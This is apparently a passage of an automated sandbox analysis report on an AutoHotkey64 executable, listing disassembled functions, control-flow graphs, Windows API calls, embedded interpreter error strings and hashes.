                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: free$ClipboardCloseCountGlobalTickUnlock
                                                              • String ID: Jumps cannot exit a FINALLY block.
                                                              • API String ID: 2149575462-672026804
                                                              • Opcode ID: 0761aaaa0d3876962cf23437a20583f4c9fdc9fa5bed609d6a9ffe9950e0c371
                                                              • Instruction ID: 0f2f5d9972bce9d21033c3a579e99a0e0bd631a5ac7134fdfa4306f415c80c7a
                                                              • Opcode Fuzzy Hash: 0761aaaa0d3876962cf23437a20583f4c9fdc9fa5bed609d6a9ffe9950e0c371
                                                              • Instruction Fuzzy Hash: 9202AD72604B8486FB668B67E4443E937A1F78CBE4F160126EB4953BF5DB38C891CB05
                                                              Function 0000000140029980 Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 320timeCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 3945 140029980-1400299ab call 1400d6f18 3948 1400299b3-140029a07 call 1400d7a40 SetTimer 3945->3948 3949 1400299ad-1400299b2 3945->3949 3952 140029a16-140029a48 GetTickCount 3948->3952 3953 140029a09-140029a11 3948->3953 3955 140029a71-140029a9e GetTickCount 3952->3955 3956 140029a4a-140029a6a SetTimer 3952->3956 3954 140029b66-140029b74 3953->3954 3957 140029b76-140029b81 3954->3957 3958 140029bbb-140029c6d call 1400d7a40 3954->3958 3959 140029aac-140029ab3 3955->3959 3960 140029aa0-140029aa5 call 1400073f0 3955->3960 3956->3955 3961 140029b83-140029b86 3957->3961 3962 140029b8c-140029b9a 3957->3962 3972 140029c6f-140029c8b call 1400bd650 3958->3972 3973 140029c90-140029ca0 3958->3973 3964 140029ab5-140029abf 3959->3964 3965 140029ac6-140029af7 call 140040110 3959->3965 3960->3959 3961->3962 3968 140029ba1-140029bb4 call 1400d6fd0 3962->3968 3969 140029b9c call 1400d6fd8 3962->3969 3964->3965 3976 140029afc-140029b18 3965->3976 3968->3958 3969->3968 3988 140029ed4-140029ef0 3972->3988 3980 140029ca2-140029ca6 3973->3980 3981 140029ca9-140029cb4 3973->3981 3977 140029b2b-140029b38 3976->3977 3978 140029b1a-140029b24 3976->3978 3984 140029b3a-140029b59 KillTimer 3977->3984 3985 140029b5f 3977->3985 3978->3977 3980->3981 3986 140029cc6-140029cd0 3981->3986 3987 140029cb6-140029cc1 call 140006d20 3981->3987 3984->3985 3985->3954 3990 140029cd2-140029cd6 3986->3990 3991 140029cf7-140029cfb 3986->3991 3999 140029ecf 3987->3999 3990->3991 3995 140029cd8-140029cf2 call 14004e5e0 3990->3995 3992 140029d11-140029d17 3991->3992 3993 140029cfd-140029d0c call 1400bdd00 3991->3993 3997 140029d19-140029d27 3992->3997 3998 140029d2e-140029d3e 3992->3998 3993->3999 3995->3999 3997->3998 4002 140029d44-140029d51 3998->4002 4003 140029ea2-140029ea9 3998->4003 3999->3988 4006 140029d53-140029d55 4002->4006 4007 140029d66-140029d6e 4002->4007 4008 140029eb8-140029ec6 4003->4008 4009 140029eab-140029eb3 call 1400d7a40 4003->4009 4012 140029da3-140029da7 4006->4012 4013 140029d57-140029d61 4006->4013 4007->4012 4014 140029d70-140029d74 4007->4014 4011 140029eca 4008->4011 4009->4008 4011->3999 4015 140029db3-140029dbb 4012->4015 4016 140029da9-140029dae 4012->4016 4017 140029e96-140029e9e 4013->4017 4018 140029d76-140029d7b 4014->4018 4019 140029d7d-140029d85 4014->4019 4020 140029e5d-140029e68 4015->4020 4021 140029dc1-140029dc8 4015->4021 4016->4020 4017->4003 4022 140029d89-140029d94 call 1400b60b0 4018->4022 4019->4022 4024 140029e6a-140029e6d 4020->4024 4025 140029e7d 4020->4025 4026 140029e19-140029e20 4021->4026 4027 140029dca-140029dd6 4021->4027 4022->4011 4037 140029d9a-140029d9e 4022->4037 4024->4025 4029 140029e6f-140029e7b call 1400d6fd8 4024->4029 4030 140029e80-140029e83 4025->4030 4033 140029e22-140029e29 4026->4033 4034 140029e2b-140029e32 4026->4034 4031 140029dd8 4027->4031 4032 140029de0-140029df6 4027->4032 4029->4030 4039 140029ef1-140029ef4 4030->4039 4040 140029e85-140029e90 call 1400d6f18 4030->4040 4031->4032 4041 140029df8-140029e00 4032->4041 4042 140029e0f-140029e17 4032->4042 4033->4020 4035 140029e34-140029e54 4034->4035 4036 140029e56 4034->4036 4035->4020 4036->4020 4037->4017 4044 140029f07-140029f0b 4039->4044 4045 140029ef6-140029f05 4039->4045 4040->4039 4051 140029e92 4040->4051 4041->4042 4046 140029e02-140029e0c 4041->4046 4042->4020 4048 140029f0f-140029f2d call 14004e5e0 4044->4048 4045->4048 4046->4042 4048->4011 4051->4017
                                                              APIs
                                                                • Part of subcall function 00000001400D6F18: _FF_MSGBANNER.LIBCMT ref: 00000001400D6F48
                                                                • Part of subcall function 00000001400D6F18: HeapAlloc.KERNEL32(?,?,00000000,00000001400DECD8,?,?,00000000,00000001400DC3A5,?,?,?,00000001400DC44F,?,?,00000000,00000001400DB509), ref: 00000001400D6F6D
                                                                • Part of subcall function 00000001400D6F18: _callnewh.LIBCMT ref: 00000001400D6F86
                                                                • Part of subcall function 00000001400D6F18: _errno.LIBCMT ref: 00000001400D6F91
                                                                • Part of subcall function 00000001400D6F18: _errno.LIBCMT ref: 00000001400D6F9C
                                                              • SetTimer.USER32 ref: 00000001400299F7
                                                              • free.LIBCMT ref: 0000000140029B9C
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: _errno$AllocHeapTimer_callnewhfree
                                                              • String ID: Auto-execute$Memory limit reached (see #MaxMem in the help file).$Out of memory.
                                                              • API String ID: 3943936125-1388267028
                                                              • Opcode ID: 00562c62d46dd0bd06e4b6db4a2ca870dd6c9d5acf689bfe22b60069126a9de2
                                                              • Instruction ID: 19d1eb78e92115dcf28899af100625a47d75d6e64b3425a6f7037352afce16fe
                                                              • Opcode Fuzzy Hash: 00562c62d46dd0bd06e4b6db4a2ca870dd6c9d5acf689bfe22b60069126a9de2
                                                              • Instruction Fuzzy Hash: 20F16C72200B8486EB52DF26E8503E937A1FB4CFC8F54452AEB4A677B5DB38C891D750
                                                              Function 0000000140045B5B Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 253windowclipboardCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 4053 140045b5b-140045b5d 4054 140045b67-1400463f1 4053->4054 4055 140045b5f-140045b61 4053->4055 4059 1400463f7-140046405 4054->4059 4060 1400467c3-1400467f0 4054->4060 4055->4054 4061 14004641e-140046421 4059->4061 4062 140046427-14004642e 4061->4062 4063 1400467c1 4061->4063 4065 1400401c9-1400401d1 4062->4065 4066 1400401fa-140040217 GetTickCount 4062->4066 4063->4060 4067 1400401e7-1400401f3 CloseClipboard 4065->4067 4068 1400401d3-1400401e0 GlobalUnlock 4065->4068 4069 140040250-14004025c 4066->4069 4070 140040219-140040236 PeekMessageW 4066->4070 4067->4066 4068->4067 4073 140040297-1400402a5 4069->4073 4074 14004025e-140040266 4069->4074 4071 140040238-14004023d call 140001b60 4070->4071 4072 140040242-14004024a GetTickCount 4070->4072 4071->4072 4072->4069 4077 1400402a7-1400402aa 4073->4077 4078 1400402ac-1400402b3 4073->4078 4074->4073 4076 140040268-140040271 4074->4076 4076->4073 4081 140040273-140040279 4076->4081 4077->4078 4082 1400402bf-1400402cb call 140001b60 4077->4082 4079 1400402b5-1400402bd 4078->4079 4080 1400402d2-1400402dd 4078->4080 4079->4080 4079->4082 4084 1400402df 4080->4084 4085 1400402fc-14004030a 4080->4085 4086 140040290-140040293 4081->4086 4087 14004027b-14004028e 4081->4087 4082->4080 4089 1400402e0-1400402f3 call 140001b60 4084->4089 4090 14004035b-140040363 4085->4090 4091 14004030c-140040354 GetTickCount 4085->4091 4086->4073 4087->4073 4102 1400402f5 4089->4102 4093 140040365-140040368 4090->4093 4094 140040379-140040384 4090->4094 4091->4090 4093->4094 4098 14004036a-140040372 call 1400082a0 4093->4098 4095 140040386-140040388 4094->4095 4096 1400403bd-1400403c8 4094->4096 4095->4096 4099 14004038a-14004038c 4095->4099 4100 1400403ce-1400403d2 4096->4100 4101 140040580-140040593 4096->4101 4098->4094 4099->4096 4105 14004038e-1400403ab call 140096c00 4099->4105 4100->4101 4106 1400403d8-1400403ed call 140046cc0 4100->4106 4107 1400418bd-1400418ea 4101->4107 4108 140040599-1400405ac 4101->4108 4102->4085 4105->4060 4118 1400403b1-1400403b8 4105->4118 4119 1400403f3-1400403ff 4106->4119 4120 1400404ca-1400404dc 4106->4120 4109 1400467b6-1400467b8 4107->4109 4110 1400418f0-1400418fa 4107->4110 4113 140041843-14004184c 4108->4113 4109->4060 4117 140046407-14004640f 4110->4117 4116 140046419 4113->4116 4116->4061 4126 140046411-140046416 4117->4126 4127 14004644d-140046459 4117->4127 4118->4096 4122 140040401 4119->4122 4123 140040443-140040465 call 140040110 4119->4123 4124 1400404e2-1400404e9 4120->4124 4125 14004056e-140040575 4120->4125 4130 140040410-14004043f call 140040110 4122->4130 4141 14004046a-14004046d 4123->4141 4131 140040523-140040545 call 140040110 4124->4131 4132 1400404eb 4124->4132 4125->4063 4129 14004057b 4125->4129 4126->4116 4127->4060 4129->4061 4142 140040441 4130->4142 4145 14004054a-140040551 4131->4145 4134 1400404f0-14004051f call 140040110 4132->4134 4146 140040521 4134->4146 4141->4061 4144 140040473-14004047a 4141->4144 4142->4141 4147 14004643f-140046448 4144->4147 4148 140040480-140040483 4144->4148 4149 140040557-14004055a 4145->4149 4150 140046433-14004643a 4145->4150 4146->4145 4147->4060 4148->4147 4151 140040489-14004048c 4148->4151 4149->4150 4152 140040560-140040563 4149->4152 4150->4063 4153 14004048e-140040496 4151->4153 4154 1400404a9-1400404b6 4151->4154 4152->4113 4155 140040569 4152->4155 4153->4150 4156 14004049c-1400404a4 4153->4156 4154->4061 4157 1400404bc-1400404c5 4154->4157 4155->4117 4156->4061 4157->4061
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock_swprintf
                                                              • String ID: %%%s%s%s$Float$Integer
                                                              • API String ID: 2710365001-2931010843
                                                              • Opcode ID: 3aec64e58f415ce4d210949ddd499ed39c5950586a475f8648999252c23d3bbf
                                                              • Instruction ID: 87c24313d4263fc7ed54f04fb06c15502868c5268720eb1cb3263c0919e1ae51
                                                              • Opcode Fuzzy Hash: 3aec64e58f415ce4d210949ddd499ed39c5950586a475f8648999252c23d3bbf
                                                              • Instruction Fuzzy Hash: 5BC1C3B120468486FB668B27E8943E937A1F78DBD4F51012AFB59977F2DB38C880C705
                                                              Function 000000014003C140 Relevance: 16.2, APIs: 2, Strings: 7, Instructions: 418COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 4600 14003c140-14003c162 4601 14003c164-14003c167 4600->4601 4602 14003c19d-14003c1a8 4600->4602 4603 14003c182-14003c189 4601->4603 4604 14003c169-14003c17e 4601->4604 4605 14003c18b-14003c198 call 14004e5e0 4603->4605 4606 14003c1a9-14003c1d2 call 1400da5c4 4603->4606 4604->4603 4605->4602 4610 14003c1d8-14003c1dd 4606->4610 4611 14003c57d 4606->4611 4612 14003c1e0-14003c1ea 4610->4612 4613 14003c57f-14003c598 4611->4613 4614 14003c1ec-14003c1f8 call 1400d7a04 4612->4614 4615 14003c1fa-14003c1fc 4612->4615 4614->4615 4617 14003c212-14003c21a 4614->4617 4615->4617 4618 14003c1fe-14003c210 call 1400d7d74 4615->4618 4617->4612 4621 14003c21c 4617->4621 4618->4617 4625 14003c21e-14003c265 call 1400b9320 call 14004e5e0 4618->4625 4623 14003c26b-14003c290 call 14003c7f0 4621->4623 4628 14003c341-14003c34e call 1400b5ff0 4623->4628 4629 14003c296-14003c299 4623->4629 4625->4611 4625->4623 4636 14003c353-14003c35e 4628->4636 4632 14003c2b4-14003c2b7 4629->4632 4633 14003c29b-14003c2ae call 1400d6a8c 4629->4633 4638 14003c2b9-14003c2bf 4632->4638 4639 14003c32d-14003c33c 4632->4639 4633->4628 4633->4632 4636->4611 4641 14003c364-14003c36e 4636->4641 4638->4611 4643 14003c2c5-14003c2fd call 14003be40 4638->4643 4640 14003c575-14003c578 call 14004e5e0 4639->4640 4640->4611 4645 14003c383-14003c38b 4641->4645 4646 14003c370-14003c380 4641->4646 4643->4613 4654 14003c303-14003c328 call 14003c140 4643->4654 4648 14003c3a9-14003c3b5 4645->4648 4649 14003c38d-14003c39c call 1400b6140 4645->4649 4646->4645 4652 14003c3d7-14003c3f2 4648->4652 4653 14003c3b7-14003c3ca call 1400b6140 4648->4653 4656 14003c567-14003c56e 4649->4656 4662 14003c3a2 4649->4662 4655 14003c3f8-14003c400 4652->4655 4652->4656 4653->4656 4666 14003c3d0 4653->4666 4654->4613 4660 14003c402-14003c406 4655->4660 4661 14003c408 4655->4661 4656->4640 4665 14003c40e-14003c42a call 140024940 4660->4665 4661->4665 4662->4648 4665->4656 4669 14003c430-14003c433 4665->4669 4666->4652 4670 14003c446-14003c44a 4669->4670 4671 14003c435-14003c444 4669->4671 4672 14003c44e-14003c45e 4670->4672 4671->4672 4673 14003c4a7-14003c4b1 4672->4673 4674 14003c460-14003c46c 4672->4674 4675 14003c4b3-14003c4c6 4673->4675 4676 14003c4c8-14003c4d0 4673->4676 4677 14003c48c-14003c49d 4674->4677 4678 14003c46e-14003c484 call 1400d7a40 4674->4678 4680 14003c4d4-14003c4e6 4675->4680 4676->4680 4677->4673 4679 14003c49f-14003c4a2 4677->4679 4678->4677 4679->4613 4682 14003c4e8-14003c4f3 4680->4682 4683 14003c4f5-14003c4f9 4680->4683 4682->4683 4685 14003c4ff-14003c506 4682->4685 4683->4685 4686 14003c5d6 4683->4686 4687 14003c508-14003c514 4685->4687 4688 14003c519-14003c51b 4685->4688 4689 14003c5db-14003c5de 4686->4689 4690 14003c5a8-14003c5ba call 1400d7018 4687->4690 4688->4690 4691 14003c521-14003c528 4688->4691 4692 14003c5e0-14003c5ec 4689->4692 4693 14003c61f-14003c640 4689->4693 4690->4656 4710 14003c5bc-14003c5d4 4690->4710 4691->4690 4699 14003c52a-14003c531 4691->4699 4694 14003c608-14003c61a 4692->4694 4695 14003c5ee-14003c603 call 1400d7a40 4692->4695 4696 14003c642-14003c64d 4693->4696 4697 14003c686-14003c68e 4693->4697 4694->4613 4695->4694 4701 14003c650-14003c662 call 1400d6a8c 4696->4701 4702 14003c6bb-14003c6dc 4697->4702 4703 14003c690-14003c694 4697->4703 4705 14003c533-14003c538 4699->4705 4706 14003c599-14003c5a0 4699->4706 4721 14003c664-14003c66d 4701->4721 4722 14003c66f-14003c67e 4701->4722 4713 14003c6e2-14003c6f9 4702->4713 4714 14003c7cd-14003c7de 4702->4714 4709 14003c6a0-14003c6b9 4703->4709 4711 14003c547 4705->4711 4712 14003c53a-14003c545 4705->4712 4706->4690 4708 14003c5a2 4706->4708 4708->4690 4709->4702 4709->4709 4710->4689 4716 14003c54b-14003c565 call 1400d6f18 4711->4716 4712->4716 4717 14003c700-14003c71c 4713->4717 4714->4613 4716->4656 4716->4690 4719 14003c75e-14003c7bd call 1400d7a40 4717->4719 4720 14003c71e 4717->4720 4719->4717 4729 14003c7c3-14003c7c8 4719->4729 4724 14003c720-14003c741 call 1400d6a8c 4720->4724 4721->4701 4721->4722 4722->4697 4730 14003c743-14003c746 4724->4730 4731 14003c748 4724->4731 4729->4714 4732 14003c74b-14003c752 4730->4732 4731->4732 4732->4724 4733 14003c754-14003c759 4732->4733 4733->4719
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: reallocwcsncpy
                                                              • String ID: ErrorLevel$Illegal parameter name.$Out of memory.$The following %s name contains an illegal character:"%-1.300s"$Variable name too long.$_$#@$variable
                                                              • API String ID: 3093889600-511781698
                                                              • Opcode ID: c1ddf76a740a5175c483b0e44cd88fa9557ad93a1c28d70cb6187a83355280da
                                                              • Instruction ID: 72ccfc93d92cf3ea7b578c48fae96bdda103e218b56047f3bdde7de18f9fe26e
                                                              • Opcode Fuzzy Hash: c1ddf76a740a5175c483b0e44cd88fa9557ad93a1c28d70cb6187a83355280da
                                                              • Instruction Fuzzy Hash: 2812B332225B8085EB62CF1AE4407DE73A5F788BD4F540216EB9D93BA9DF38C5A5C740
                                                              Function 0000000140040F41 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 247windowclipboardCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 4734 140040f41-140040f6c call 1400d7728 4737 140040f72-140040f9c call 14004a110 4734->4737 4738 140041014-14004103e call 14004e250 4734->4738 4744 140040fd4 4737->4744 4745 140040f9e-140040fd2 call 14004a390 4737->4745 4743 1400410ff-14004112d 4738->4743 4746 1400467c1 4743->4746 4747 140041133-140041136 4743->4747 4749 140040fd8-140040fe4 4744->4749 4745->4749 4752 1400467c3-1400467f0 4746->4752 4747->4746 4750 14004113c-14004113f 4747->4750 4753 140040fe6-140040fed call 1400d6fd8 4749->4753 4754 140040ff2-14004100f call 1400d6fd8 call 1400d6fd0 4749->4754 4750->4746 4757 140041145-14004114c 4750->4757 4753->4754 4754->4743 4759 140041152-140041159 4757->4759 4760 140046419 4757->4760 4763 14004116e-140041175 4759->4763 4764 14004115b-140041163 4759->4764 4762 14004641e-140046421 4760->4762 4762->4746 4765 140046427-14004642e 4762->4765 4769 140046454-140046459 4763->4769 4770 14004117b-140041183 4763->4770 4767 1400464e9-1400467be 4764->4767 4768 140041169 4764->4768 4774 1400401c9-1400401d1 4765->4774 4775 1400401fa-140040217 GetTickCount 4765->4775 4767->4746 4773 140046411-140046416 4768->4773 4769->4752 4770->4760 4770->4773 4773->4760 4776 1400401e7-1400401f3 CloseClipboard 4774->4776 4777 1400401d3-1400401e0 GlobalUnlock 4774->4777 4778 140040250-14004025c 4775->4778 4779 140040219-140040236 PeekMessageW 4775->4779 4776->4775 4777->4776 4782 140040297-1400402a5 4778->4782 4783 14004025e-140040266 4778->4783 4780 140040238-14004023d call 140001b60 4779->4780 4781 140040242-14004024a GetTickCount 4779->4781 4780->4781 4781->4778 4786 1400402a7-1400402aa 4782->4786 4787 1400402ac-1400402b3 4782->4787 4783->4782 4785 140040268-140040271 4783->4785 4785->4782 4790 140040273-140040279 4785->4790 4786->4787 4791 1400402bf-1400402cb call 140001b60 4786->4791 4788 1400402b5-1400402bd 4787->4788 4789 1400402d2-1400402dd 4787->4789 4788->4789 4788->4791 4793 1400402df 4789->4793 4794 1400402fc-14004030a 4789->4794 4795 140040290-140040293 4790->4795 4796 14004027b-14004028e 4790->4796 4791->4789 4798 1400402e0-1400402f3 call 140001b60 4793->4798 4799 14004035b-140040363 4794->4799 4800 14004030c-140040354 GetTickCount 4794->4800 4795->4782 4796->4782 4811 1400402f5 4798->4811 4802 140040365-140040368 4799->4802 4803 140040379-140040384 4799->4803 4800->4799 4802->4803 4807 14004036a-140040372 call 1400082a0 4802->4807 4804 140040386-140040388 4803->4804 4805 1400403bd-1400403c8 4803->4805 4804->4805 4808 14004038a-14004038c 4804->4808 4809 1400403ce-1400403d2 4805->4809 4810 140040580-140040593 4805->4810 4807->4803 4808->4805 4814 14004038e-1400403ab call 140096c00 4808->4814 4809->4810 4815 1400403d8-1400403ed call 140046cc0 4809->4815 4816 1400418bd-1400418ea 4810->4816 4817 140040599-1400405ac 4810->4817 4811->4794 4814->4752 4826 1400403b1-1400403b8 4814->4826 4827 1400403f3-1400403ff 4815->4827 4828 1400404ca-1400404dc 4815->4828 4818 1400467b6-1400467b8 4816->4818 4819 1400418f0-1400418fa 4816->4819 4822 140041843-14004184c 4817->4822 4818->4752 4825 140046407-14004640f 4819->4825 4822->4760 4825->4773 4834 14004644d-140046451 4825->4834 4826->4805 4830 140040401 4827->4830 4831 140040443-140040465 call 140040110 4827->4831 4832 1400404e2-1400404e9 4828->4832 4833 14004056e-140040575 4828->4833 4837 140040410-14004043f call 140040110 4830->4837 4847 14004046a-14004046d 4831->4847 4838 140040523-140040545 call 140040110 4832->4838 4839 1400404eb 4832->4839 4833->4746 4836 14004057b 4833->4836 4834->4769 4836->4762 4848 140040441 4837->4848 4851 14004054a-140040551 4838->4851 4841 1400404f0-14004051f call 140040110 4839->4841 4852 140040521 4841->4852 4847->4762 4850 140040473-14004047a 4847->4850 4848->4847 4853 14004643f-140046448 4850->4853 4854 140040480-140040483 4850->4854 4855 140040557-14004055a 4851->4855 4856 140046433-14004643a 4851->4856 4852->4851 4853->4752 4854->4853 4857 140040489-14004048c 4854->4857 4855->4856 4858 140040560-140040563 4855->4858 4856->4746 4859 14004048e-140040496 4857->4859 4860 1400404a9-1400404b6 4857->4860 4858->4822 4861 140040569 4858->4861 4859->4856 4862 14004049c-1400404a4 4859->4862 4860->4762 4863 1400404bc-1400404c5 4860->4863 4861->4825 4862->4762 4863->4762
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTickfree$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID: Out of memory.
                                                              • API String ID: 3568059354-4087320997
                                                              • Opcode ID: 6f268c309e576aca23eb0c6a05c512506aac561c09216606555951e86c03c892
                                                              • Instruction ID: 7c42a9870626a85c70a38ff491897bff2d2d94df1a2dd55b5fb7ab06e51fb977
                                                              • Opcode Fuzzy Hash: 6f268c309e576aca23eb0c6a05c512506aac561c09216606555951e86c03c892
                                                              • Instruction Fuzzy Hash: 1EC19F72604B4486FB568B27E8843D937A1F78DBD4F11022AEB5963BF6DB38C491CB04
                                                              Function 000000014004552C Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 232windowclipboardCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 4864 14004552c-140045541 call 140098260 4867 140045543-140045552 4864->4867 4868 140045554 4864->4868 4869 140045557-140045562 4867->4869 4868->4869 4870 140045564-140045578 4869->4870 4871 14004557a-14004557c 4869->4871 4872 1400455c4-1400455d2 call 1400c0060 4870->4872 4873 140045594-1400455bd call 14003b8f0 call 14003b7f0 4871->4873 4874 14004557e-140045592 4871->4874 4880 1400455f7-140045602 4872->4880 4881 1400455d4-1400455df GetLastError 4872->4881 4873->4872 4874->4872 4884 1400463c6-1400463cc 4880->4884 4885 1400463b8 4880->4885 4881->4880 4883 1400455e1-1400455f2 4881->4883 4883->4885 4886 1400463d2-1400463f1 4884->4886 4887 1400467c3-1400467f0 4884->4887 4888 1400463c0-1400463c4 4885->4888 4889 1400463bb call 14004e250 4885->4889 4886->4887 4891 1400463f7-140046405 4886->4891 4888->4884 4889->4888 4892 14004641e-140046421 4891->4892 4893 140046427-14004642e 4892->4893 4894 1400467c1 4892->4894 4896 1400401c9-1400401d1 4893->4896 4897 1400401fa-140040217 GetTickCount 4893->4897 4894->4887 4898 1400401e7-1400401f3 CloseClipboard 4896->4898 4899 1400401d3-1400401e0 GlobalUnlock 4896->4899 4900 140040250-14004025c 4897->4900 4901 140040219-140040236 PeekMessageW 4897->4901 4898->4897 4899->4898 4904 140040297-1400402a5 4900->4904 4905 14004025e-140040266 4900->4905 4902 140040238-14004023d call 140001b60 4901->4902 4903 140040242-14004024a GetTickCount 4901->4903 4902->4903 4903->4900 4908 1400402a7-1400402aa 4904->4908 4909 1400402ac-1400402b3 4904->4909 4905->4904 4907 140040268-140040271 4905->4907 4907->4904 4912 140040273-140040279 4907->4912 4908->4909 4913 1400402bf-1400402cb call 140001b60 4908->4913 4910 1400402b5-1400402bd 4909->4910 4911 1400402d2-1400402dd 4909->4911 4910->4911 4910->4913 4915 1400402df 4911->4915 4916 1400402fc-14004030a 4911->4916 4917 140040290-140040293 4912->4917 4918 14004027b-14004028e 4912->4918 4913->4911 4920 1400402e0-1400402f3 call 140001b60 4915->4920 4921 14004035b-140040363 4916->4921 4922 14004030c-140040354 GetTickCount 4916->4922 4917->4904 4918->4904 4933 1400402f5 4920->4933 4924 140040365-140040368 4921->4924 4925 140040379-140040384 4921->4925 4922->4921 4924->4925 4929 